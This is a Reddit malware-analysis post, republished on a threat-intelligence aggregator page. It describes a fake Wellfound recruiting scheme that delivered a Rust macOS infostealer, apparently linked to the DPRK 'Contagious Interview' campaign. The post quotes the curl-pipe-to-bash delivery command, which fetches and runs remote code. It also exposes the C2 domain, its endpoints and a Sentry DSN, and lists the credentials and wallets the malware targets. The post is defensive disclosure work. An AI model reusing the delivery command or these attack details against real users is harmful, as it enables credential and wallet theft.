I was targeted by a fake job interview on Wellfound. Instead of becoming a victim I reverse-engineered the malware. Here's the full analysis: 571 encrypted config values decrypted, C2 and Sentry DSN exposed, DPRK/Contagious Interview attribution.

Reddit •/u/SD483 • April 7, 2026

Last week I received what looked like a legitimate job opportunity on Wellfound. An operator persona named "Felix" at "HyperHive" ran a multi-email social engineering chain referencing my real CV and technical background, then directed me to "review the product" at hyperhives.net before a scheduled interview. Navigating to Settings → Diagnostics → Log triggered: curl -s | nohup bash & I did not enter my password into the fake dialog that appeared. I killed the processes, preserved the binary, and spent the several hours reverse-engineering it in an air-gapped Docker lab. The binary: 8.5MB Mach-O universal (x86_64 + arm64), Rust-compiled, production-grade infostealer. Currently 9/72 on VirusTotal — Sophos, CrowdStrike, Malwarebytes, and most enterprise tools are missing it. The encryption problem: Every operationally significant string was encrypted using a custom cipher with 570 unique x86_64 helper functions. Each function computes a unique key offset via custom arithmetic (imul, rol, xor, shr, neg). I emulated all 570 functions using Unicorn CPU emulator and recovered all 571 encrypted configuration values in 1.1 seconds. What that exposed: C2: cloudproxy.link (4 endpoints: /m/opened, /m/metrics, /m/decode, /db/debug) Sentry DSN: 526eff9f8bb7aafd7117ca5e33a6a183@o4509139651198976.ingest.de.sentry.io/4509422649213008 — a legal subpoena to Sentry for org 4509139651198976 would yield the operator's registration email, payment records, and IP history Build identity: user rootr , codename force , version 9.12.1 276 Chrome extension IDs targeted: 188 crypto wallets, 3 password managers, Deloitte credential store What it steals: browser passwords, credit cards, cookies, login keychain, Apple Notes, Telegram session data, crypto wallet extensions. TTP alignment: Wellfound fake recruiter, multi-step trust building, curl|bash delivery, Rust macOS binary, fake password dialog, massive crypto wallet targeting — consistent with DPRK Contagious Interview / CL-STA-240. Disclosure timeline: Email received April 4. Analysis completed April 6. Reported to FBI IC3 April 6. Publishing April 7. Full repo with YARA rules, Sigma rules, STIX 2.1 bundle, ATT&CK Navigator layer, decryption scripts, and all IOCs: VirusTotal (9/72 detections): submitted by /u/SD483 [link] [ ]

The full story

This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.

DPRK-Linked Malware Targeting Job Seekers via Wellfound A cybersecurity incident involved a fake job interview scheme on Wellfound, where an operator named 'Felix' from 'HyperHive' targeted an individual using a social engineering tactic referencing their real CV. The attack led to the deployment of a sophisticated infostealer malware, a Rust-compiled binary that was 8.5MB in size and capable of stealing sensitive information such as browser passwords and crypto wallet data. The malware was delivered through a malicious script executed via a fake password dialog. The attacker’s command and control (C2) server was identified as cloudproxy.link, with multiple endpoints exposed. The malware's configuration values were encrypted using a custom cipher, which the victim successfully decrypted, revealing 571 operationally significant strings. The incident was reported to the FBI's Internet Crime Complaint Center (IC3) shortly after the analysis was completed. The malware currently has a low detection rate on VirusTotal, with only 9 out of 72 antivirus engines flagging it. The attack aligns with known tactics attributed to North Korean cyber operations, specifically the DPRK Contagious Interview campaign. 2 sources 80

Extracted Entities

I was targeted by a fake job interview on Wellfound. Instead of becoming a victim I reverse-engineered the malware. Here's the full analysis: 571 encrypted config values decrypted, C2 and Sentry DSN exposed, DPRK/Contagious Interview attribution.

The full story

Extracted Entities

Attack Types (2)

Campaigns (1)

Domains (2)

MD5 Hashes (1)

MITRE ATT&CK (3)

Platforms (1)